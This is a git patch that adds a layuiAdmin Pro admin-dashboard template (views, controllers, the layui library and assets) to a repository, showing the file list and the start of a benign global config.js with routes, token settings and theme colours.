From 37bfeb505b600ef245e8ee424c32d84d35eaa1e1 Mon Sep 17 00:00:00 2001 From: world <642747453@qq.com> Date: Wed, 24 May 2023 21:35:21 +0800 Subject: [PATCH] =?UTF-8?q?=E6=9A=82=E5=AD=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- dist/config.js | 139 + dist/controller/common.js | 2 + dist/controller/console.js | 2 + dist/controller/console.php | 1 + dist/controller/contlist.js | 2 + dist/controller/forum.js | 2 + dist/controller/sample.js | 2 + dist/controller/senior.js | 4 + dist/controller/set.js | 2 + dist/controller/user.js | 2 + dist/controller/useradmin.js | 2 + dist/controller/workorder.js | 2 + dist/index.js | 2 + dist/lib/admin.js | 2 + dist/lib/extend/echarts.js | 39 + dist/lib/extend/echartsTheme.js | 2 + dist/lib/view.js | 2 + dist/style/admin.css | 2 + dist/style/login.css | 2 + dist/style/res/bg-none.jpg | Bin 0 -> 832 bytes dist/style/res/layui-logo.jpg | Bin 0 -> 2871 bytes dist/style/res/logo-black.png | Bin 0 -> 455 bytes dist/style/res/logo.png | Bin 0 -> 457 bytes dist/style/res/template/character.jpg | Bin 0 -> 6153 bytes dist/style/res/template/huge.jpg | Bin 0 -> 419343 bytes dist/style/res/template/portrait.png | Bin 0 -> 19719 bytes dist/style/template.css | 2 + dist/views/app/content/comment.html | 106 + dist/views/app/content/contform.html | 20 + dist/views/app/content/list.html | 151 + dist/views/app/content/listform.html | 59 + dist/views/app/content/tags.html | 65 + dist/views/app/content/tagsform.html | 18 + dist/views/app/forum/list.html | 123 + dist/views/app/forum/listform.html | 57 + dist/views/app/forum/replys.html | 99 + dist/views/app/forum/replysform.html | 35 + dist/views/app/message/detail.html | 43 + dist/views/app/message/index.html | 176 + dist/views/app/workorder/list.html | 89 + dist/views/app/workorder/listform.html | 59 + dist/views/app/说明.txt | 2 + dist/views/component/anim/index.html | 108 + dist/views/component/auxiliar/index.html | 103 + dist/views/component/badge/index.html | 103 + dist/views/component/button/index.html | 178 + dist/views/component/carousel/index.html | 219 + dist/views/component/code/index.html | 141 + dist/views/component/colorpicker/index.html | 190 + dist/views/component/flow/index.html | 124 + dist/views/component/form/element.html | 237 + dist/views/component/form/group.html | 291 ++ dist/views/component/grid/all.html | 80 + dist/views/component/grid/list.html | 122 + dist/views/component/grid/mobile-pc.html | 80 + dist/views/component/grid/mobile.html | 112 + dist/views/component/grid/speed-dial.html | 84 + dist/views/component/grid/stack.html | 143 + dist/views/component/laydate/demo1.html | 324 ++ dist/views/component/laydate/demo2.html | 276 ++ .../views/component/laydate/special-demo.html | 74 + dist/views/component/laydate/theme.html | 173 + dist/views/component/layer/list.html | 491 ++ dist/views/component/layer/special-demo.html | 147 + dist/views/component/layer/theme.html | 82 + dist/views/component/laypage/demo1.html | 158 + dist/views/component/laypage/demo2.html | 159 + dist/views/component/laytpl/index.html | 34 + dist/views/component/nav/index.html | 206 + dist/views/component/panel/index.html | 181 + dist/views/component/progress/index.html | 159 + dist/views/component/rate/index.html | 177 + dist/views/component/slider/index.html | 216 + dist/views/component/table/auto.html | 49 + dist/views/component/table/cellEdit.html | 56 + dist/views/component/table/cellEvent.html | 67 + dist/views/component/table/checkbox.html | 50 + dist/views/component/table/data.html | 141 + dist/views/component/table/fixed.html | 53 + dist/views/component/table/form.html | 82 + dist/views/component/table/height.html | 51 + dist/views/component/table/initSort.html | 48 + dist/views/component/table/onrow.html | 67 + dist/views/component/table/operate.html | 107 + dist/views/component/table/page.html | 57 + dist/views/component/table/parseData.html | 65 + dist/views/component/table/radio.html | 70 + dist/views/component/table/reload.html | 87 + dist/views/component/table/resetPage.html | 58 + dist/views/component/table/simple.html | 48 + dist/views/component/table/static.html | 309 ++ dist/views/component/table/style.html | 63 + dist/views/component/table/thead.html | 96 + dist/views/component/table/toolbar.html | 109 + dist/views/component/table/tostatic.html | 75 + dist/views/component/table/totalRow.html | 78 + dist/views/component/tabs/index.html | 188 + dist/views/component/timeline/index.html | 121 + dist/views/component/transfer/index.html | 185 + dist/views/component/tree/index.html | 432 ++ dist/views/component/upload/demo1.html | 199 + dist/views/component/upload/demo2.html | 167 + dist/views/component/util/index.html | 90 + dist/views/component/说明.txt | 2 + dist/views/home/homepage1.html | 194 + dist/views/home/homepage2.html | 306 ++ dist/views/iframe/layer/iframe.html | 83 + dist/views/iframe/link/baidu.html | 3 + dist/views/iframe/link/layui.html | 3 + dist/views/iframe/link/layuiAdmin.html | 3 + dist/views/iframe/说明.txt | 3 + dist/views/index.html | 324 ++ dist/views/layout.html | 199 + dist/views/senior/echarts/bar.html | 108 + dist/views/senior/echarts/line.html | 97 + dist/views/senior/echarts/map.html | 34 + dist/views/senior/im/index.html | 461 ++ dist/views/senior/im/kefu.html | 82 + dist/views/senior/说明.txt | 2 + dist/views/set/system/email.html | 68 + dist/views/set/system/website.html | 93 + dist/views/set/user/info.html | 98 + dist/views/set/user/password.html | 53 + dist/views/set/说明.txt | 2 + dist/views/system/about.html | 22 + dist/views/system/get.html | 3 + dist/views/system/more.html | 22 + dist/views/system/theme.html | 43 + dist/views/system/说明.txt | 3 + dist/views/temp.html | 51 + dist/views/template/addresslist.html | 370 ++ dist/views/template/caller.html | 188 + dist/views/template/goodslist.html | 410 ++ dist/views/template/msgboard.html | 97 + dist/views/template/personalpage.html | 425 ++ dist/views/template/search.html | 97 + dist/views/template/tips/404.html | 15 + dist/views/template/tips/error.html | 13 + dist/views/template/tips/test.html | 13 + dist/views/template/user/forget.html | 30 + dist/views/template/user/login.html | 69 + dist/views/template/user/reg.html | 30 + dist/views/template/说明.txt | 2 + dist/views/user/administrators/adminform.html | 66 + dist/views/user/administrators/list.html | 161 + dist/views/user/administrators/role.html | 127 + dist/views/user/administrators/roleform.html | 59 + dist/views/user/forget.html | 144 + dist/views/user/login.html | 126 + dist/views/user/reg.html | 125 + dist/views/user/user/list.html | 150 + dist/views/user/user/userform.html | 72 + dist/views/user/说明.txt | 2 + favicon.ico | Bin 0 -> 2871 bytes gulpfile.js | 163 + index.html | 36 + package.json | 26 + src/config.js | 142 + src/controller/common.js | 41 + src/controller/console.js | 218 + src/controller/set.js | 67 + src/controller/user.js | 52 + src/controller/useradmin.js | 255 ++ src/index.js | 218 + src/lib/admin.js | 968 ++++ src/lib/extend/echarts.js | 39 + src/lib/extend/echartsTheme.js | 267 ++ src/lib/extend/layarea.js | 4020 +++++++++++++++++ src/lib/extend/selectM.js | 288 ++ src/lib/extend/selectN.js | 279 ++ src/lib/view.js | 348 ++ src/style/admin.css | 526 +++ src/style/login.css | 55 + src/style/res/bg-none.jpg | Bin 0 -> 832 bytes src/style/res/layui-logo.jpg | Bin 0 -> 2871 bytes src/style/res/logo-black.png | Bin 0 -> 455 bytes src/style/res/logo.png | Bin 0 -> 457 bytes src/style/res/template/character.jpg | Bin 0 -> 6153 bytes src/style/res/template/huge.jpg | Bin 0 -> 419343 bytes src/style/res/template/portrait.png | Bin 0 -> 19719 bytes src/style/template.css | 186 + src/views/index.html | 67 + src/views/layout.html | 157 + src/views/order/add/index.html | 333 ++ src/views/order/list/index.html | 321 ++ src/views/set/system/email.html | 68 + src/views/set/system/website.html | 93 + src/views/set/user/info.html | 80 + src/views/set/user/password.html | 53 + src/views/set/说明.txt | 2 + src/views/shop/classify/add.html | 53 + src/views/shop/classify/index.html | 133 + src/views/statistics/months/index.html | 185 + src/views/statistics/months/person_list.html | 31 + src/views/statistics/person/index.html | 114 + src/views/user/login.html | 62 + src/views/user/user/list.html | 114 + src/views/user/user/userform.html | 62 + start/index.html | 25 + start/json/user/logout.js | 5 + start/json/user/session.js | 9 + start/json/user/session.php | Bin 0 -> 1517 bytes start/layui/css/layui.css | 2 + start/layui/css/layui.mobile.css | 2 + start/layui/css/modules/code.css | 2 + .../css/modules/laydate/default/laydate.css | 2 + .../css/modules/layer/default/icon-ext.png | Bin 0 -> 5911 bytes .../layui/css/modules/layer/default/icon.png | Bin 0 -> 11493 bytes .../layui/css/modules/layer/default/layer.css | 2 + .../css/modules/layer/default/loading-0.gif | Bin 0 -> 5793 bytes .../css/modules/layer/default/loading-1.gif | Bin 0 -> 701 bytes .../css/modules/layer/default/loading-2.gif | Bin 0 -> 1787 bytes .../layui/css/modules/layim/html/chatlog.html | 96 + start/layui/css/modules/layim/html/find.html | 38 + .../layui/css/modules/layim/html/getmsg.json | 87 + .../layui/css/modules/layim/html/msgbox.html | 208 + start/layui/css/modules/layim/layim.css | 2 + .../layui/css/modules/layim/mobile/layim.css | 2 + start/layui/css/modules/layim/skin/1.jpg | Bin 0 -> 18386 bytes start/layui/css/modules/layim/skin/2.jpg | Bin 0 -> 11883 bytes start/layui/css/modules/layim/skin/3.jpg | Bin 0 -> 18610 bytes start/layui/css/modules/layim/skin/4.jpg | Bin 0 -> 39279 bytes start/layui/css/modules/layim/skin/5.jpg | Bin 0 -> 33379 bytes start/layui/css/modules/layim/skin/logo.jpg | Bin 0 -> 3284 bytes .../layui/css/modules/layim/voice/default.mp3 | Bin 0 -> 9341 bytes start/layui/font/iconfont.eot | Bin 0 -> 46684 bytes start/layui/font/iconfont.svg | 554 +++ start/layui/font/iconfont.ttf | Bin 0 -> 46508 bytes start/layui/font/iconfont.woff | Bin 0 -> 30628 bytes start/layui/font/iconfont.woff2 | Bin 0 -> 25964 bytes start/layui/images/face/0.gif | Bin 0 -> 2689 bytes start/layui/images/face/1.gif | Bin 0 -> 5514 bytes start/layui/images/face/10.gif | Bin 0 -> 2797 bytes start/layui/images/face/11.gif | Bin 0 -> 4121 bytes start/layui/images/face/12.gif | Bin 0 -> 3361 bytes start/layui/images/face/13.gif | Bin 0 -> 7425 bytes start/layui/images/face/14.gif | Bin 0 -> 2375 bytes start/layui/images/face/15.gif | Bin 0 -> 1793 bytes start/layui/images/face/16.gif | Bin 0 -> 6721 bytes start/layui/images/face/17.gif | Bin 0 -> 4439 bytes start/layui/images/face/18.gif | Bin 0 -> 3017 bytes start/layui/images/face/19.gif | Bin 0 -> 3040 bytes start/layui/images/face/2.gif | Bin 0 -> 3222 bytes start/layui/images/face/20.gif | Bin 0 -> 5144 bytes start/layui/images/face/21.gif | Bin 0 -> 5191 bytes start/layui/images/face/22.gif | Bin 0 -> 9823 bytes start/layui/images/face/23.gif | Bin 0 -> 3792 bytes start/layui/images/face/24.gif | Bin 0 -> 8096 bytes start/layui/images/face/25.gif | Bin 0 -> 3127 bytes start/layui/images/face/26.gif | Bin 0 -> 3291 bytes start/layui/images/face/27.gif | Bin 0 -> 4377 bytes start/layui/images/face/28.gif | Bin 0 -> 2793 bytes start/layui/images/face/29.gif | Bin 0 -> 4854 bytes start/layui/images/face/3.gif | Bin 0 -> 4017 bytes start/layui/images/face/30.gif | Bin 0 -> 2555 bytes start/layui/images/face/31.gif | Bin 0 -> 2002 bytes start/layui/images/face/32.gif | Bin 0 -> 3481 bytes start/layui/images/face/33.gif | Bin 0 -> 2454 bytes start/layui/images/face/34.gif | Bin 0 -> 3700 bytes start/layui/images/face/35.gif | Bin 0 -> 1800 bytes start/layui/images/face/36.gif | Bin 0 -> 2331 bytes start/layui/images/face/37.gif | Bin 0 -> 1513 bytes start/layui/images/face/38.gif | Bin 0 -> 3615 bytes start/layui/images/face/39.gif | Bin 0 -> 6495 bytes start/layui/images/face/4.gif | Bin 0 -> 5689 bytes start/layui/images/face/40.gif | Bin 0 -> 3154 bytes start/layui/images/face/41.gif | Bin 0 -> 3644 bytes start/layui/images/face/42.gif | Bin 0 -> 5305 bytes start/layui/images/face/43.gif | Bin 0 -> 2674 bytes start/layui/images/face/44.gif | Bin 0 -> 4126 bytes start/layui/images/face/45.gif | Bin 0 -> 3417 bytes start/layui/images/face/46.gif | Bin 0 -> 3007 bytes start/layui/images/face/47.gif | Bin 0 -> 2333 bytes start/layui/images/face/48.gif | Bin 0 -> 2689 bytes start/layui/images/face/49.gif | Bin 0 -> 2315 bytes start/layui/images/face/5.gif | Bin 0 -> 4567 bytes start/layui/images/face/50.gif | Bin 0 -> 5866 bytes start/layui/images/face/51.gif | Bin 0 -> 2785 bytes start/layui/images/face/52.gif | Bin 0 -> 777 bytes start/layui/images/face/53.gif | Bin 0 -> 2127 bytes start/layui/images/face/54.gif | Bin 0 -> 2196 bytes start/layui/images/face/55.gif | Bin 0 -> 1971 bytes start/layui/images/face/56.gif | Bin 0 -> 2034 bytes start/layui/images/face/57.gif | Bin 0 -> 2705 bytes start/layui/images/face/58.gif | Bin 0 -> 2258 bytes start/layui/images/face/59.gif | Bin 0 -> 10311 bytes start/layui/images/face/6.gif | Bin 0 -> 2213 bytes start/layui/images/face/60.gif | Bin 0 -> 3245 bytes start/layui/images/face/61.gif | Bin 0 -> 2495 bytes start/layui/images/face/62.gif | Bin 0 -> 2017 bytes start/layui/images/face/63.gif | Bin 0 -> 5871 bytes start/layui/images/face/64.gif | Bin 0 -> 6448 bytes start/layui/images/face/65.gif | Bin 0 -> 3576 bytes start/layui/images/face/66.gif | Bin 0 -> 3029 bytes start/layui/images/face/67.gif | Bin 0 -> 2701 bytes start/layui/images/face/68.gif | Bin 0 -> 1424 bytes start/layui/images/face/69.gif | Bin 0 -> 2431 bytes start/layui/images/face/7.gif | Bin 0 -> 3398 bytes start/layui/images/face/70.gif | Bin 0 -> 4590 bytes start/layui/images/face/71.gif | Bin 0 -> 5304 bytes start/layui/images/face/8.gif | Bin 0 -> 4050 bytes start/layui/images/face/9.gif | Bin 0 -> 4221 bytes start/layui/lay/modules/carousel.js | 2 + start/layui/lay/modules/code.js | 2 + start/layui/lay/modules/colorpicker.js | 2 + start/layui/lay/modules/element.js | 2 + start/layui/lay/modules/flow.js | 2 + start/layui/lay/modules/form.js | 2 + start/layui/lay/modules/jquery.js | 5 + start/layui/lay/modules/laydate.js | 2 + start/layui/lay/modules/layedit.js | 2 + start/layui/lay/modules/layer.js | 2 + start/layui/lay/modules/layim.js | 3 + start/layui/lay/modules/laypage.js | 2 + start/layui/lay/modules/laytpl.js | 2 + start/layui/lay/modules/mobile.js | 2 + start/layui/lay/modules/rate.js | 2 + start/layui/lay/modules/slider.js | 2 + start/layui/lay/modules/table.js | 2 + start/layui/lay/modules/transfer.js | 2 + start/layui/lay/modules/tree.js | 2 + start/layui/lay/modules/upload.js | 2 + start/layui/lay/modules/util.js | 2 + start/layui/layui.all.js | 5 + start/layui/layui.js | 2 + 325 files changed, 26121 insertions(+) create mode 100644 dist/config.js create mode 100644 dist/controller/common.js create mode 100644 dist/controller/console.js create mode 100644 dist/controller/console.php create mode 100644 dist/controller/contlist.js create mode 100644 dist/controller/forum.js create mode 100644 dist/controller/sample.js create mode 100644 dist/controller/senior.js create mode 100644 dist/controller/set.js create mode 100644 dist/controller/user.js create mode 100644 dist/controller/useradmin.js create mode 100644 dist/controller/workorder.js create mode 100644 dist/index.js create mode 100644 dist/lib/admin.js create mode 100644 dist/lib/extend/echarts.js create mode 100644 dist/lib/extend/echartsTheme.js create mode 100644 dist/lib/view.js create mode 100644 dist/style/admin.css create mode 100644 dist/style/login.css create mode 100644 dist/style/res/bg-none.jpg create mode 100644 dist/style/res/layui-logo.jpg create mode 100644 dist/style/res/logo-black.png create mode 100644 dist/style/res/logo.png create mode 100644 dist/style/res/template/character.jpg create mode 100644 dist/style/res/template/huge.jpg create mode 100644 dist/style/res/template/portrait.png create mode 100644 dist/style/template.css create mode 100644 dist/views/app/content/comment.html create mode 100644 dist/views/app/content/contform.html create mode 100644 dist/views/app/content/list.html create mode 100644 dist/views/app/content/listform.html create mode 100644 dist/views/app/content/tags.html create mode 100644 dist/views/app/content/tagsform.html create mode 100644 dist/views/app/forum/list.html create mode 100644 dist/views/app/forum/listform.html create mode 100644 dist/views/app/forum/replys.html create mode 100644 dist/views/app/forum/replysform.html create mode 100644 dist/views/app/message/detail.html create mode 100644 dist/views/app/message/index.html create mode 100644 dist/views/app/workorder/list.html create mode 100644 dist/views/app/workorder/listform.html create mode 100644 dist/views/app/说明.txt create mode 100644 dist/views/component/anim/index.html create mode 100644 dist/views/component/auxiliar/index.html create mode 100644 dist/views/component/badge/index.html create mode 100644 dist/views/component/button/index.html create mode 100644 dist/views/component/carousel/index.html create mode 100644 dist/views/component/code/index.html create mode 100644 dist/views/component/colorpicker/index.html create mode 100644 dist/views/component/flow/index.html create mode 100644 dist/views/component/form/element.html create mode 100644 dist/views/component/form/group.html create mode 100644 dist/views/component/grid/all.html create mode 100644 dist/views/component/grid/list.html create mode 100644 dist/views/component/grid/mobile-pc.html create mode 100644 dist/views/component/grid/mobile.html create mode 100644 dist/views/component/grid/speed-dial.html create mode 100644 dist/views/component/grid/stack.html create mode 100644 dist/views/component/laydate/demo1.html create mode 100644 dist/views/component/laydate/demo2.html create mode 100644 dist/views/component/laydate/special-demo.html create mode 100644 dist/views/component/laydate/theme.html create mode 100644 dist/views/component/layer/list.html create mode 100644 dist/views/component/layer/special-demo.html create mode 100644 dist/views/component/layer/theme.html create mode 100644 dist/views/component/laypage/demo1.html create mode 100644 dist/views/component/laypage/demo2.html create mode 100644 dist/views/component/laytpl/index.html create mode 100644 dist/views/component/nav/index.html create mode 100644 dist/views/component/panel/index.html create mode 100644 dist/views/component/progress/index.html create mode 100644 dist/views/component/rate/index.html create mode 100644 dist/views/component/slider/index.html create mode 100644 dist/views/component/table/auto.html create mode 100644 dist/views/component/table/cellEdit.html create mode 100644 dist/views/component/table/cellEvent.html create mode 100644 dist/views/component/table/checkbox.html create mode 100644 dist/views/component/table/data.html create mode 100644 dist/views/component/table/fixed.html create mode 100644 dist/views/component/table/form.html create mode 100644 dist/views/component/table/height.html create mode 100644 dist/views/component/table/initSort.html create mode 100644 dist/views/component/table/onrow.html create mode 100644 dist/views/component/table/operate.html create mode 100644 dist/views/component/table/page.html create mode 100644 dist/views/component/table/parseData.html create mode 100644 dist/views/component/table/radio.html create mode 100644 dist/views/component/table/reload.html create mode 100644 dist/views/component/table/resetPage.html create mode 100644 dist/views/component/table/simple.html create mode 100644 dist/views/component/table/static.html create mode 100644 dist/views/component/table/style.html create mode 100644 dist/views/component/table/thead.html create mode 100644 dist/views/component/table/toolbar.html create mode 100644 dist/views/component/table/tostatic.html create mode 100644 dist/views/component/table/totalRow.html create mode 100644 dist/views/component/tabs/index.html create mode 100644 dist/views/component/timeline/index.html create mode 100644 dist/views/component/transfer/index.html create mode 100644 dist/views/component/tree/index.html create mode 100644 dist/views/component/upload/demo1.html create mode 100644 dist/views/component/upload/demo2.html create mode 100644 dist/views/component/util/index.html create mode 100644 dist/views/component/说明.txt create mode 100644 dist/views/home/homepage1.html create mode 100644 dist/views/home/homepage2.html create mode 100644 dist/views/iframe/layer/iframe.html create mode 100644 dist/views/iframe/link/baidu.html create mode 100644 dist/views/iframe/link/layui.html create mode 100644 dist/views/iframe/link/layuiAdmin.html create mode 100644 dist/views/iframe/说明.txt create mode 100644 dist/views/index.html create mode 100644 dist/views/layout.html create mode 100644 dist/views/senior/echarts/bar.html create mode 100644 dist/views/senior/echarts/line.html create mode 100644 dist/views/senior/echarts/map.html create mode 100644 dist/views/senior/im/index.html create mode 100644 dist/views/senior/im/kefu.html create mode 100644 dist/views/senior/说明.txt create mode 100644 dist/views/set/system/email.html create mode 100644 dist/views/set/system/website.html create mode 100644 dist/views/set/user/info.html create mode 100644 dist/views/set/user/password.html create mode 100644 dist/views/set/说明.txt create mode 100644 dist/views/system/about.html create mode 100644 dist/views/system/get.html create mode 100644 dist/views/system/more.html create mode 100644 dist/views/system/theme.html create mode 100644 dist/views/system/说明.txt create mode 100644 dist/views/temp.html create mode 100644 dist/views/template/addresslist.html create mode 100644 dist/views/template/caller.html create mode 100644 dist/views/template/goodslist.html create mode 100644 dist/views/template/msgboard.html create mode 100644 dist/views/template/personalpage.html create mode 100644 dist/views/template/search.html create mode 100644 dist/views/template/tips/404.html create mode 100644 dist/views/template/tips/error.html create mode 100644 dist/views/template/tips/test.html create mode 100644 dist/views/template/user/forget.html create mode 100644 dist/views/template/user/login.html create mode 100644 dist/views/template/user/reg.html create mode 100644 dist/views/template/说明.txt create mode 100644 dist/views/user/administrators/adminform.html create mode 100644 dist/views/user/administrators/list.html create mode 100644 dist/views/user/administrators/role.html create mode 100644 dist/views/user/administrators/roleform.html create mode 100644 dist/views/user/forget.html create mode 100644 dist/views/user/login.html create mode 100644 dist/views/user/reg.html create mode 100644 dist/views/user/user/list.html create mode 100644 dist/views/user/user/userform.html create mode 100644 dist/views/user/说明.txt create mode 100644 favicon.ico create mode 100644 gulpfile.js create mode 100644 index.html create mode 100644 package.json create mode 100644 src/config.js create mode 100644 src/controller/common.js create mode 100644 src/controller/console.js create mode 100644 src/controller/set.js create mode 100644 src/controller/user.js create mode 100644 src/controller/useradmin.js create mode 100644 src/index.js create mode 100644 src/lib/admin.js create mode 100644 src/lib/extend/echarts.js create mode 100644 src/lib/extend/echartsTheme.js create mode 100644 src/lib/extend/layarea.js create mode 100644 src/lib/extend/selectM.js create mode 100644 src/lib/extend/selectN.js create mode 100644 src/lib/view.js create mode 100644 src/style/admin.css create mode 100644 src/style/login.css create mode 100644 src/style/res/bg-none.jpg create mode 100644 src/style/res/layui-logo.jpg create mode 100644 src/style/res/logo-black.png create mode 100644 src/style/res/logo.png create mode 100644 src/style/res/template/character.jpg create mode 100644 src/style/res/template/huge.jpg create mode 100644 src/style/res/template/portrait.png create mode 100644 src/style/template.css create mode 100644 src/views/index.html create mode 100644 src/views/layout.html create mode 100644 src/views/order/add/index.html create mode 100644 src/views/order/list/index.html create mode 100644 src/views/set/system/email.html create mode 100644 src/views/set/system/website.html create mode 100644 src/views/set/user/info.html create mode 100644 src/views/set/user/password.html create mode 100644 src/views/set/说明.txt create mode 100644 src/views/shop/classify/add.html create mode 100644 src/views/shop/classify/index.html create mode 100644 src/views/statistics/months/index.html create mode 100644 src/views/statistics/months/person_list.html create mode 100644 src/views/statistics/person/index.html create mode 100644 src/views/user/login.html create mode 100644 src/views/user/user/list.html create mode 100644 src/views/user/user/userform.html create mode 100644 start/index.html create mode 100644 start/json/user/logout.js create mode 100644 start/json/user/session.js create mode 100644 start/json/user/session.php create mode 100644 start/layui/css/layui.css create mode 100644 start/layui/css/layui.mobile.css create mode 100644 start/layui/css/modules/code.css create mode 100644 start/layui/css/modules/laydate/default/laydate.css create mode 100644 start/layui/css/modules/layer/default/icon-ext.png create mode 100644 start/layui/css/modules/layer/default/icon.png create mode 100644 start/layui/css/modules/layer/default/layer.css create mode 100644 start/layui/css/modules/layer/default/loading-0.gif create mode 100644 start/layui/css/modules/layer/default/loading-1.gif create mode 100644 start/layui/css/modules/layer/default/loading-2.gif create mode 100644 start/layui/css/modules/layim/html/chatlog.html create mode 100644 start/layui/css/modules/layim/html/find.html create mode 100644 start/layui/css/modules/layim/html/getmsg.json create mode 100644 start/layui/css/modules/layim/html/msgbox.html create mode 100644 start/layui/css/modules/layim/layim.css create mode 100644 start/layui/css/modules/layim/mobile/layim.css create mode 100644 start/layui/css/modules/layim/skin/1.jpg create mode 100644 start/layui/css/modules/layim/skin/2.jpg create mode 100644 start/layui/css/modules/layim/skin/3.jpg create mode 100644 start/layui/css/modules/layim/skin/4.jpg create mode 100644 start/layui/css/modules/layim/skin/5.jpg create mode 100644 start/layui/css/modules/layim/skin/logo.jpg create mode 100644 start/layui/css/modules/layim/voice/default.mp3 create mode 100644 start/layui/font/iconfont.eot create mode 100644 start/layui/font/iconfont.svg create mode 100644 start/layui/font/iconfont.ttf create mode 100644 start/layui/font/iconfont.woff create mode 100644 start/layui/font/iconfont.woff2 create mode 100644 start/layui/images/face/0.gif create mode 100644 start/layui/images/face/1.gif create mode 100644 start/layui/images/face/10.gif create mode 100644 start/layui/images/face/11.gif create mode 100644 start/layui/images/face/12.gif create mode 100644 start/layui/images/face/13.gif create mode 100644 start/layui/images/face/14.gif create mode 100644 start/layui/images/face/15.gif create mode 100644 start/layui/images/face/16.gif create mode 100644 start/layui/images/face/17.gif create mode 100644 start/layui/images/face/18.gif create mode 100644 start/layui/images/face/19.gif create mode 100644 start/layui/images/face/2.gif create mode 100644 start/layui/images/face/20.gif create mode 100644 start/layui/images/face/21.gif create mode 100644 start/layui/images/face/22.gif create mode 100644 start/layui/images/face/23.gif create mode 100644 start/layui/images/face/24.gif create mode 100644 start/layui/images/face/25.gif create mode 100644 start/layui/images/face/26.gif create mode 100644 start/layui/images/face/27.gif create mode 100644 start/layui/images/face/28.gif create mode 100644 start/layui/images/face/29.gif create mode 100644 start/layui/images/face/3.gif create mode 100644 start/layui/images/face/30.gif create mode 100644 start/layui/images/face/31.gif create mode 100644 start/layui/images/face/32.gif create mode 100644 start/layui/images/face/33.gif create mode 100644 start/layui/images/face/34.gif create mode 100644 start/layui/images/face/35.gif create mode 100644 start/layui/images/face/36.gif create mode 100644 start/layui/images/face/37.gif create mode 100644 start/layui/images/face/38.gif create mode 100644 start/layui/images/face/39.gif create mode 100644 start/layui/images/face/4.gif create mode 100644 start/layui/images/face/40.gif create mode 100644 start/layui/images/face/41.gif create mode 100644 start/layui/images/face/42.gif create mode 100644 start/layui/images/face/43.gif create mode 100644 start/layui/images/face/44.gif create mode 100644 start/layui/images/face/45.gif create mode 100644 start/layui/images/face/46.gif create mode 100644 start/layui/images/face/47.gif create mode 100644 start/layui/images/face/48.gif create mode 100644 start/layui/images/face/49.gif create mode 100644 start/layui/images/face/5.gif create mode 100644 start/layui/images/face/50.gif create mode 100644 start/layui/images/face/51.gif create mode 100644 start/layui/images/face/52.gif create mode 100644 start/layui/images/face/53.gif create mode 100644 start/layui/images/face/54.gif create mode 100644 start/layui/images/face/55.gif create mode 100644 start/layui/images/face/56.gif create mode 100644 start/layui/images/face/57.gif create mode 100644 start/layui/images/face/58.gif create mode 100644 start/layui/images/face/59.gif create mode 100644 start/layui/images/face/6.gif create mode 100644 start/layui/images/face/60.gif create mode 100644 start/layui/images/face/61.gif create mode 100644 start/layui/images/face/62.gif create mode 100644 start/layui/images/face/63.gif create mode 100644 start/layui/images/face/64.gif create mode 100644 start/layui/images/face/65.gif create mode 100644 start/layui/images/face/66.gif create mode 100644 start/layui/images/face/67.gif create mode 100644 start/layui/images/face/68.gif create mode 100644 start/layui/images/face/69.gif create mode 100644 start/layui/images/face/7.gif create mode 100644 start/layui/images/face/70.gif create mode 100644 start/layui/images/face/71.gif create mode 100644 start/layui/images/face/8.gif create mode 100644 start/layui/images/face/9.gif create mode 100644 start/layui/lay/modules/carousel.js create mode 100644 start/layui/lay/modules/code.js create mode 100644 start/layui/lay/modules/colorpicker.js create mode 100644 start/layui/lay/modules/element.js create mode 100644 start/layui/lay/modules/flow.js create mode 100644 start/layui/lay/modules/form.js create mode 100644 start/layui/lay/modules/jquery.js create mode 100644 start/layui/lay/modules/laydate.js create mode 100644 start/layui/lay/modules/layedit.js create mode 100644 start/layui/lay/modules/layer.js create mode 100644 start/layui/lay/modules/layim.js create mode 100644 start/layui/lay/modules/laypage.js create mode 100644 start/layui/lay/modules/laytpl.js create mode 100644 start/layui/lay/modules/mobile.js create mode 100644 start/layui/lay/modules/rate.js create mode 100644 start/layui/lay/modules/slider.js create mode 100644 start/layui/lay/modules/table.js create mode 100644 start/layui/lay/modules/transfer.js create mode 100644 start/layui/lay/modules/tree.js create mode 100644 start/layui/lay/modules/upload.js create mode 100644 start/layui/lay/modules/util.js create mode 100644 start/layui/layui.all.js create mode 100644 start/layui/layui.js diff --git a/dist/config.js b/dist/config.js new file mode 100644 index 0000000..26dfc21 --- /dev/null +++ b/dist/config.js @@ -0,0 +1,139 @@ +/** + + @Name:全局配置 + @Author:贤心 + @Site:http://www.layui.com/admin/ + @License:LPPL(layui付费产品协议) + + */ + +layui.define(['laytpl', 'layer', 'element', 'util'], function(exports){ + exports('setter', { + container: 'LAY_app' //容器ID + ,base: layui.cache.base //记录layuiAdmin文件夹所在路径 + ,views: layui.cache.base + 'views/' //视图所在目录 + ,entry: 'index' //默认视图文件名 + ,engine: '.html' //视图文件后缀名 + ,pageTabs: false //是否开启页面选项卡功能。单页版不推荐开启 + + ,name: 'layuiAdmin Pro' + ,tableName: 'layuiAdmin' //本地存储表名 + ,MOD_NAME: 'admin' //模块事件名 + + ,debug: true //是否开启调试模式。如开启,接口异常时会抛出异常 URL 等信息 + + ,interceptor: false //是否开启未登入拦截 + + //自定义请求字段 + ,request: { + tokenName: 'access_token' //自动携带 token 的字段名。可设置 false 不携带。 + } + + //自定义响应字段 + ,response: { + statusName: 'code' //数据状态的字段名称 + ,statusCode: { + ok: 0 //数据状态一切正常的状态码 + ,logout: 1001 //登录状态失效的状态码 + } + ,msgName: 'msg' //状态信息的字段名称 + ,dataName: 'data' //数据详情的字段名称 + } + + //独立页面路由,可随意添加(无需写参数) + ,indPage: [ + '/user/login' //登入页 + ,'/user/reg' //注册页 + ,'/user/forget' //找回密码 + ,'/template/tips/test' //独立页的一个测试 demo + ] + + //扩展的第三方模块 + ,extend: [ + 'echarts', //echarts 核心包 + 'echartsTheme' //echarts 主题 + ] + + //主题配置 + ,theme: { + //内置主题配色方案 + color: [{ + main: '#20222A' //主题色 + ,selected: '#009688' //选中色 + ,alias: 'default' //默认别名 + },{ + main: '#03152A' + ,selected: '#3B91FF' + ,alias: 'dark-blue' //藏蓝 + },{ + main: '#2E241B' + ,selected: '#A48566' + ,alias: 'coffee' //咖啡 + },{ + main: '#50314F' + ,selected: '#7A4D7B' + ,alias: 'purple-red' //紫红 + },{ + main: '#344058' + ,logo: '#1E9FFF' + ,selected: '#1E9FFF' + ,alias: 'ocean' //海洋 + },{ + main: '#3A3D49' + ,logo: '#2F9688' + ,selected: '#5FB878' + ,alias: 'green' //墨绿 + },{ + main: '#20222A' + ,logo: '#F78400' + 